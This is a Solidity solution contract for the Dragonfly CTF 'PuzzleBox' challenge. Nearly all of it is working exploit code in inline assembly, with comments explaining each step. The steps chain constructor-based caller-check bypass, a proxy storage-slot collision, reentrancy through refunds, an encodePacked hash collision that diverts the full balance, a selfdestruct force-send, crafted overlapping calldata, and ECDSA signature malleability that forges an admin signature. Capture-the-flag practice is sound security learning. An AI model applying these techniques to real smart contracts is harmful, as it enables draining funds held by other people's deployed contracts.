Dragonfly CTF

PuzzleBoxSolution.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "./PuzzleBox.sol";

// One word, or 32 bytes
uint256 constant ONE_WORD = 0x20;

// We lay out calldata in memory starting at this offset, immediately after the
// 4 byte function selector
uint256 constant CALLDATA_START = 0x04;

// Size of a function selector, in bytes.
uint256 constant SELECTOR_SIZE = 0x04;

// 224 bytes. Left-shifting a 4 byte selector by this amount returns a full
// 32 bytes word with the selector bytes in the high bytes and zeros in the low.
uint256 constant SELECTOR_SHIFT = 0xe0;

// Constants related to the force push contract
uint256 constant SCRATCH_START = 0x00;
uint256 constant BYTE_ONE = 0x01;
uint256 constant BYTE_THIRTY_THREE = 0x21;

// Constants related to memory layout. We always write 4 byte function selectors
// at memory location zero, followed by up to eight words of calldata.
uint256 constant SELECTOR_REGION = 0x00;
uint256 constant WORD_ONE   = 0x04;
uint256 constant WORD_TWO   = 0x24;
uint256 constant WORD_THREE = 0x44;
uint256 constant WORD_FOUR  = 0x64;
uint256 constant WORD_FIVE  = 0x84;
uint256 constant WORD_SIX   = 0xa4;
uint256 constant WORD_SEVEN = 0xc4;
uint256 constant WORD_EIGHT = 0xe4;

// Same as the above constants, with a one-byte offset. We use these for the
// special case of torch().
uint256 constant WORD_TWO_PLUS_ONE   = 0x25;
uint256 constant WORD_THREE_PLUS_ONE  = 0x45;
uint256 constant WORD_FOUR_PLUS_ONE  = 0x65;
uint256 constant WORD_FIVE_PLUS_ONE  = 0x85;
uint256 constant WORD_SIX_PLUS_ONE   = 0xa5;
uint256 constant WORD_SEVEN_PLUS_ONE = 0xc5;
uint256 constant WORD_EIGHT_PLUS_ONE = 0xe5;
uint256 constant WORD_NINE_PLUS_ONE  = 0x105;

// Function selectors for PuzzleBox, PuzzleBoxProxy, and Setup functions.
uint256 constant CREEP_SELECTOR   = 0x11551052;
uint256 constant DRIP_SELECTOR    = 0x9f678cca;
uint256 constant LEAK_SELECTOR    = 0x8fd66f25;
uint256 constant LOCK_SELECTOR    = 0xdeecedd4;
uint256 constant OPEN_SELECTOR    = 0x58657dcf;
uint256 constant OPERATE_SELECTOR = 0x7159a618;
uint256 constant SETUP_SELECTOR   = 0x00007b50;
uint256 constant SPREAD_SELECTOR  = 0x2b071e47;
uint256 constant TORCH_SELECTOR   = 0x925facb1;
uint256 constant ZIP_SELECTOR     = 0x00919055;

// Calldata sizes for PuzzleBox, PuzzleBoxProxy, and Setup functions.
uint256 constant CREEP_CALLDATA_SIZE   = ONE_WORD;
uint256 constant DRIP_CALLDATA_SIZE    = ONE_WORD;
uint256 constant LEAK_CALLDATA_SIZE    = ONE_WORD;
uint256 constant LOCK_CALLDATA_SIZE    = 0x44;
uint256 constant OPEN_CALLDATA_SIZE    = 0xc4;
uint256 constant OPERATE_CALLDATA_SIZE = ONE_WORD;
uint256 constant SETUP_CALLDATA_SIZE   = ONE_WORD;
uint256 constant SPREAD_CALLDATA_SIZE  = 0x104;
uint256 constant TORCH_CALLDATA_SIZE   = 0x125;
uint256 constant ZIP_CALLDATA_SIZE     = ONE_WORD;

// Gas stipends for PuzzleBox, PuzzleBoxProxy, and Setup functions. We pass
// fixed gas amounts as a gas optimization.
uint256 constant CREEP_GAS_STIPEND   = 65_000;
uint256 constant DRIP_GAS_STIPEND    = 475_000;
uint256 constant LEAK_GAS_STIPEND    = 65_000;
uint256 constant LOCK_GAS_STIPEND    = 40_000;
uint256 constant OPEN_GAS_STIPEND    = 40_000;
uint256 constant OPERATE_GAS_STIPEND = 40_000;
uint256 constant SETUP_GAS_STIPEND   = 485_000;
uint256 constant SPREAD_GAS_STIPEND  = 50_000;
uint256 constant TORCH_GAS_STIPEND   = 40_000;
uint256 constant ZIP_GAS_STIPEND     = 25_000;

// Stop minting drips once the Setup balance is below this amount.
uint256 constant DRIP_STOP_BALANCE = 436;

// Constants related to creating the force send contract bytecode.
uint256 constant PUSH32_OPCODE       = 0x7f;
uint256 constant SELFDESTRUCT_OPCODE = 0xff;
uint256 constant FORCE_SEND_BYTECODE_SIZE = 0x22;
uint256 constant FORCE_SEND_AMOUNT = 6;

// Constants related to encoding spread() arguments.
uint256 constant SPREAD_FRIENDS_ARRAY_OFFSET = 0x40;
uint256 constant SPREAD_FRIENDS_ARRAY_LENGTH = 0x01;
uint256 constant SPREAD_FRIENDS_ARRAY_ITEM_1 = 0x00416e59dacfdb5d457304115bbfb9089531d873b7;
uint256 constant SPREAD_FRIENDS_CUT_ARRAY_OFFSET = 0x80;
uint256 constant SPREAD_FRIENDS_CUT_ARRAY_LENGTH = 0x03;
uint256 constant SPREAD_FRIENDS_CUT_ARRAY_ITEM_1 = 0x00c817dd2a5daa8f790677e399170c92aabd044b57;
uint256 constant SPREAD_FRIENDS_CUT_ARRAY_ITEM_2 = 0x96;
uint256 constant SPREAD_FRIENDS_CUT_ARRAY_ITEM_3 = 0x4b;

// Constants related to encoding torch() arguments.
uint256 constant TORCH_BYTES_OFFSET = 0x01;
uint256 constant TORCH_ARRAY_OFFSET = 0x20;
uint256 constant TORCH_ARRAY_LENGTH = 0x06;
uint256 constant TORCH_ARRAY_ITEM_1 = 0x02;
uint256 constant TORCH_ARRAY_ITEM_2 = 0x04;
uint256 constant TORCH_ARRAY_ITEM_3 = 0x06;
uint256 constant TORCH_ARRAY_ITEM_4 = 0x07;
uint256 constant TORCH_ARRAY_ITEM_5 = 0x08;
uint256 constant TORCH_ARRAY_ITEM_6 = 0x09;

// Constants related to encoding open() arguments.
uint256 constant OPEN_NONCE = 0xc8f549a7e4cb7e1c60d908cc05ceff53ad731e6ea0736edf7ffeea588dfb42d8;
uint256 constant OPEN_SIG_BYTES_OFFSET = 0x40;
uint256 constant OPEN_SIG_BYTES_SIZE = 0x41;
uint256 constant OPEN_SIG_R = OPEN_NONCE;
uint256 constant OPEN_SIG_S = 0x9da3468f3d897010503caed5c52689b959fbac09ff6879275a8279feffcc8a62;
uint256 constant OPEN_SIG_V = 0x1b;
uint256 constant OPEN_SIG_V_SHIFT = 0xf8;

contract Setup {
    address internal immutable _puzzle;
    constructor(address puzzle) payable {
        _puzzle = puzzle;
        assembly {
            ////////////////////////////////////////////////////////////////////
            //                            operate()
            ////////////////////////////////////////////////////////////////////

            // Call operate() and become the PuzzleBox operator. Since we're
            // calling this from a contract constructor, we're able to bypass
            // the noContractCaller check, which only verifies that the caller's
            // code.length is zero.
            mstore(0, shl(SELECTOR_SHIFT, OPERATE_SELECTOR))
            pop(call(OPERATE_GAS_STIPEND, puzzle, 0, 0, OPERATE_CALLDATA_SIZE, 0, 0))

            ////////////////////////////////////////////////////////////////////
            //                            lock()
            ////////////////////////////////////////////////////////////////////

            // Call lock(PuzzleBox.torch.selector) directly on PuzzleBoxProxy to
            // unlock calling torch() on PuzzleBox. Due to storage slot packing,
            // there is a storage collision between PuzzleBox.operator and
            // PuzzleBoxProxy.admin. Since we set ourselves as operator in the
            // previous call, we are also the proxy admin and can call lock().
            mstore(0, shl(SELECTOR_SHIFT, LOCK_SELECTOR))
            mstore(SELECTOR_SIZE, shl(SELECTOR_SHIFT, TORCH_SELECTOR))
            pop(call(LOCK_GAS_STIPEND, puzzle, 0, 0, LOCK_CALLDATA_SIZE, 0, 0))
        }
    }

    function run_DbL() external payable {
        address puzzle = _puzzle;
        assembly {
            ////////////////////////////////////////////////////////////////////
            //                            drip()
            ////////////////////////////////////////////////////////////////////

            // Call drip() to mint drips. The drip() function returns any extra
            // msg.value to the caller, which we can use as a reentrancy vector.
            // When msg.value is refunded to us following the call, we re-enter
            // drip() from the fallback() function below.
            mstore(0, shl(SELECTOR_SHIFT, DRIP_SELECTOR))
            pop(call(DRIP_GAS_STIPEND, puzzle, selfbalance(), 0, DRIP_CALLDATA_SIZE, 0, 0))
            // Destroy the helper contract and send remaining balance back to
            // PuzzleBoxSolution.
            selfdestruct(caller())
        }
    }

    fallback() external payable {
        assembly {
            // Re-enter drip() if we haven't yet minted 10 drips. In order to
            // save gas and avoid using a storage variable, we check our balance
            // and stop once we've spent enough for 10 drips.
            if gt(selfbalance(), DRIP_STOP_BALANCE) {
                mstore(0, shl(SELECTOR_SHIFT, DRIP_SELECTOR))
                pop(call(DRIP_GAS_STIPEND, caller(), selfbalance(), 0, DRIP_CALLDATA_SIZE, 0, 0))
            }
        }
    }
}

contract PuzzleBoxSolution {

    // This solution is written entirely in assembly for gas optimization, but
    // we're really just calling the functions on PuzzleBox in a specific order
    // and with carefully crafted arguments in a few cases. To make the assembly
    // easier to read, I've given all the offsets and memory locations friendly
    // names. The game plan:
    //
    // 1) We create a Setup contract that calls operate(), lock(), and drip().
    //    We use the constructor to bypass the noContractCaller check, a storage
    //    conflict to unlock the torch() function, and reentrancy in order to
    //    mint 10 drips.
    // 2) Call spread() with carefully crafted array argumemts that bypass the
    //    _getFriendshipHash check and send 100% of the balance to the first
    //    friends address.
    // 3) Create a "force send" contract to seed the PuzzleBox with enough of a
    //    balance to call creep(), leak() and zip(), which burns a few drips
    //    along the way.
    // 4) Call torch() with a specially crafted array argument that sneaks in an
    //    extra element, burning the remaining drips.
    // 5) Call open() and solve the puzzle. To do so, we need to rely on ECDSA
    //    signature malleability to craft a second signature that recovers to
    //    the admin address.
    fallback() external payable {
        // It's slightly cheaper to put our solution in a fallback() function
        // rather than use a named solve(PuzzleBox) function. So in order to
        // get the puzzle address, we need to load it from calldata.
        address puzzle;
        assembly { puzzle := calldataload(CALLDATA_START) }

        // Create a helper contract to call operate(), lock(), and drip().
        // Using create2 here saved a bit of gas.
        address setup = address(new Setup{ salt: unicode"🐎" }(puzzle));

        assembly {
            ////////////////////////////////////////////////////////////////////
            //                Setup: operate(), lock(), drip()
            ////////////////////////////////////////////////////////////////////

            // Call setup_DbL() on the setup contract. The trailing "_DbL"
            // gives this function an optimized selector, which saves some gas.
            mstore(0, shl(SELECTOR_SHIFT, SETUP_SELECTOR))
            pop(call(SETUP_GAS_STIPEND, setup, 0, 0, SETUP_CALLDATA_SIZE, 0, 0))

            ////////////////////////////////////////////////////////////////////
            //                            spread()
            ////////////////////////////////////////////////////////////////////

            // Call spread() on PuzzleBox. Since our whole solution is assembly
            // and we are never going to return to Solidity, we're going to
            // ignore all the rules of Solidity memory layout, like using the
            // free memory pointer and never overwriting the zero slot. Instead,
            // we'll always start at 0x00 and write to memory sequentially,
            // clobbering anything in the way, including the zero slot and free
            // memory pointer.
            //
            // We need to make several calls to PuzzleBox in sequence,
            // and lay out the calldata in memory. We'll always start by storing
            // the 4 byte selector at 0x00, the very start of memory, then store
            // calldata components starting at 0x04. To make this all easier to
            // read, we'll use named constants:
            //
            //  - SELECTOR_REGION: 0x00, start of memory.
            //  - WORD_ONE: 0x04, the first word after SELECTOR_REGION
            //  - WORD_TWO: 0x24, the second word after SELECTOR_REGION
            //
            // ...and so on, incrementing each word by 0x20 or 32 bytes. This
            // makes it easy to lay out calldata in memory as we go. So, to
            // encode our call to spread(), we first write the selector:

            mstore(SELECTOR_REGION, shl(SELECTOR_SHIFT, SPREAD_SELECTOR))

            // spread() takes an address[] and a uint256[] as arguments and
            // verifies that their hashed value equals a hash in storage.
            // However, since the hash is based on a packed ABI encoding, we can
            // craft a valid input that has different array elements but the
            // same packed encoding.

            // Here we're supposed to pass two arrays: one
            // with two addresses and one with two integers. But instead, we'll
            // pass a friends array with a single address, and a friendsCut
            // array with three elements, reusing the second address from the
            // first array as the first element of the second array. This will
            // pass the hash check and cause spread() to send 100% of the
            // balance to the first friends address.

            // Let's build up the calldata for these arrays. First, we store the
            // calldata offsets to the two arguments:
            mstore(WORD_ONE,   SPREAD_FRIENDS_ARRAY_OFFSET)
            mstore(WORD_TWO,   SPREAD_FRIENDS_CUT_ARRAY_OFFSET)

            // Next, the friends array. We store its length in the first word,
            // and its single element in the second word:
            mstore(WORD_THREE, SPREAD_FRIENDS_ARRAY_LENGTH)
            mstore(WORD_FOUR,  SPREAD_FRIENDS_ARRAY_ITEM_1)

            // Finally, the friendsCutBps array in the following words. First,
            // the length, then each element. Here, item 1 is actually the
            // address of friends[1] converted to a uint256.
            mstore(WORD_FIVE,  SPREAD_FRIENDS_CUT_ARRAY_LENGTH)
            mstore(WORD_SIX,   SPREAD_FRIENDS_CUT_ARRAY_ITEM_1)
            mstore(WORD_SEVEN, SPREAD_FRIENDS_CUT_ARRAY_ITEM_2)
            mstore(WORD_EIGHT, SPREAD_FRIENDS_CUT_ARRAY_ITEM_3)

            // Make the call to drip(). As an optimization, we're using fixed
            // gas stipends defined as constants. And to make things easier to
            // read, each call's calldata size is defined as a constant. So here
            // we call drip() on the PuzzleBox contract, with zero value and the
            // calldata we just built in memory from 0x00-SPREAD_CALLDATA_SIZE.
            // We ignore the return value and pass zeros for return offset/size.
            pop(call(SPREAD_GAS_STIPEND, puzzle, 0, 0, SPREAD_CALLDATA_SIZE, 0, 0))

            ////////////////////////////////////////////////////////////////////
            //                         Force Send
            ////////////////////////////////////////////////////////////////////

            // After calling spread(), the PuzzleBox balance is 0. In order to
            // move on to the next steps, it needs to have a balance. However,
            // we can't send ether directly to PuzzleBox since it has no payable
            // receive() function. So instead, we'll create a "force send"
            // contract that immediately self destructs and force-sends its
            // balance to PuzzleBox. The full bytecode of this minimal contract
            // is 0x7f<address>ff, or PUSH32 <address> SELFDESTRUCT, where
            // address is the address of PuzzleBox. Let's lay out the contract
            // bytecode in memory, starting at 0x00:

            // Write a PUSH32 byte at the start of memory.
            mstore8(SCRATCH_START, PUSH32_OPCODE)
            // Next, write the address of PuzzleBox.
            mstore(BYTE_ONE, puzzle)
            // Finally, write a SELFDESTRUCT byte at the end.
            mstore8(BYTE_THIRTY_THREE, SELFDESTRUCT_OPCODE)
            // Create the contract, passing 6 wei as value. This will be sent
            // back to PuzzleBox on selfdestruct. Our force-send contract is
            // created and immediately destroyed.
            pop(create(6, 0, FORCE_SEND_BYTECODE_SIZE))

            ////////////////////////////////////////////////////////////////////
            //                         creep()
            ////////////////////////////////////////////////////////////////////

            // Calling creep() is now pretty straightforward. Since it takes no
            // arguments, all we need to do is write the selector at the start
            // of memory and make the call. Creep recursively calls creepForward
            // deducting 1 wei from msg.value with each call, and must be called
            // exactly 7 times. That's why we sent 6 wei in the previous step.
            mstore(0, shl(SELECTOR_SHIFT, CREEP_SELECTOR))
            pop(call(CREEP_GAS_STIPEND, puzzle, 0, 0, CREEP_CALLDATA_SIZE, 0, 0))

            ////////////////////////////////////////////////////////////////////
            //                    leak() and zip()
            ////////////////////////////////////////////////////////////////////

            // zip() calls leak() with a very low gas stipend of 12000 gas. In
            // order to prevent reverting with an out of gas error, we need to
            // 1) call leak() once to ensure the first call is not a cold
            // storage write, and 2) send 1 wei to the leak() recipient address
            // so it's also warm.

            // First, we call leak().
            mstore(0, shl(SELECTOR_SHIFT, LEAK_SELECTOR))
            pop(call(LEAK_GAS_STIPEND, puzzle, 0, 0, LEAK_CALLDATA_SIZE, 0, 0))

            // Then send 1 wei to the next leak() recipient address, which is
            // address(puzzle) + 2.
            pop(call(0, add(puzzle, 2), 1, 0, 0, 0, 0))

            // Now we can call zip()
            mstore(0, shl(SELECTOR_SHIFT, ZIP_SELECTOR))
            pop(call(ZIP_GAS_STIPEND, puzzle, 0, 0, ZIP_CALLDATA_SIZE, 0, 0))

            // Finally, in order to call open() at the very end, the PuzzleBox
            // must have a zero balance. We'll loop and call leak() until the
            // balance is all sent. Notice that we can write the calldata just
            // once and reuse it here.
            mstore(0, shl(SELECTOR_SHIFT, LEAK_SELECTOR))
            for {} gt(balance(puzzle), 0) {} {
                pop(call(LEAK_GAS_STIPEND, puzzle, 0, 0, LEAK_CALLDATA_SIZE, 0, 0))
            }

            ////////////////////////////////////////////////////////////////////
            //                         torch()
            ////////////////////////////////////////////////////////////////////

            // We want to call torch() and burn the remaining 6 drips, but we
            // must call it with less than 300 bytes of calldata. In order to do
            // so, we need to tweak the offsets of the calldata in order to
            // reuse one of the values.

            // Store the torch() selector at the start of memory.
            mstore(SELECTOR_REGION, shl(SELECTOR_SHIFT, TORCH_SELECTOR))

            // The length of the encoded dripIds array ix 0x100, or 256 bytes.
            // That's 6 items * 32 bytes = 192 bytes, plus 32 bytes for the
            // length and 32 bytes for the offset. We can take advantage of this
            // length and cleverly encode the calldata for the encoded byte
            // array in a way that reuses the initial offset. Instead of a
            // standard offset of 0x20 for the start of the encodedDripIds arg
            // to torch(), we can use an offset of 0x01 to encode both the
            // offset and length using the same bytes.

            // Instead of loading the first word after offset 0x20 as the byte
            // array length, we instead load the first word after 0x01 as the
            // byte array length. This reads 0x100 as the length of the byte
            // array.

            // It's a lot easier to see this visually. Here's a standard layout:
            // 0x0000000000000000000000000000000000000000000000000000000000000020 <- offset
            // 0x0000000000000000000000000000000000000000000000000000000000000100 <- length
            // 0x0000000000000000000000000000000000000000000000000000000000000020 <- start of array data

            // And here's the layout we're using:
            // 0x0000000000000000000000000000000000000000000000000000000000000001 <- offset
            // 0x00                                                               <- extra byte
            // 0x0000000000000000000000000000000000000000000000000000000000000020 <- start of array data
            mstore(WORD_ONE, TORCH_BYTES_OFFSET)

            // Write the abi-encoded array of dripIds to memory. First, offset:
            mstore(WORD_TWO_PLUS_ONE,   TORCH_ARRAY_OFFSET)
            // Then the length:
            mstore(WORD_THREE_PLUS_ONE, TORCH_ARRAY_LENGTH)
            // Then each individual element.
            mstore(WORD_FOUR_PLUS_ONE,  TORCH_ARRAY_ITEM_1)
            mstore(WORD_FIVE_PLUS_ONE,  TORCH_ARRAY_ITEM_2)
            mstore(WORD_SIX_PLUS_ONE,   TORCH_ARRAY_ITEM_3)
            mstore(WORD_SEVEN_PLUS_ONE, TORCH_ARRAY_ITEM_4)
            mstore(WORD_EIGHT_PLUS_ONE, TORCH_ARRAY_ITEM_5)
            mstore(WORD_NINE_PLUS_ONE,  TORCH_ARRAY_ITEM_6)

            // Finally, call torch() with our carefully crafted array.
            pop(call(TORCH_GAS_STIPEND, puzzle, 0, 0, TORCH_CALLDATA_SIZE, 0, 0))

            ////////////////////////////////////////////////////////////////////
            //                         open()
            ////////////////////////////////////////////////////////////////////

            // We're in the final stretch: we minted 10 drips and burned them
            // all, and the contract balance is zero. We can now call open() if
            // we pass a valid signature signed by the PuzzleBox admin.

            // Here we will rely on ECDSA signature malleability. For every
            // ECDSA signature, there are two valid signatures with different
            // values of s. This is why it's always important to use a nonce or
            // ensure that the s value is always less than half the curve order.

            // For a given (r, s), the other valid signature is (r, - s mod n),
            // where n is the curve order. Here's how to calculate it in Python:
            //
            // >>> n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
            // >>> s = int('0x625cb970c2768fefafc3512a3ad9764560b330dcafe02714654fe48dd069b6df', 16)
            // >>> hex(- s % n)
            // '0x9da3468f3d897010503caed5c52689b959fbac09ff6879275a8279feffcc8a62'
            //
            // Since this value is on the other side of the curve, we also have
            // to adjust v from 28 (0x1c) to 27 (0x1b). This signature will
            // recover to the admin address and let us open() the box and solve
            // the puzzle.

            // Store the open() selector at the start of memory.
            mstore(SELECTOR_REGION, shl(SELECTOR_SHIFT, OPEN_SELECTOR))
            // We can reuse the same "nonce" from the original signature. Store
            // it in the first word of calldata.
            mstore(WORD_ONE,   OPEN_NONCE)
            // We need to write the signature as a bytes array. First, store
            // the offset and size.
            mstore(WORD_TWO,   OPEN_SIG_BYTES_OFFSET)
            mstore(WORD_THREE, OPEN_SIG_BYTES_SIZE)
            // Store the signature's r value (same as the original)
            mstore(WORD_FOUR,  OPEN_SIG_R)
            // Store the malleable s value we just generated.
            mstore(WORD_FIVE,  OPEN_SIG_S)
            // Store the v value from the other half of the curve.
            mstore8(WORD_SIX,  OPEN_SIG_V)

            // Finally, call open() with our carefully crafted signature.
            pop(call(OPEN_GAS_STIPEND, puzzle, 0, 0, OPEN_CALLDATA_SIZE, 0, 0))
        }
    }
}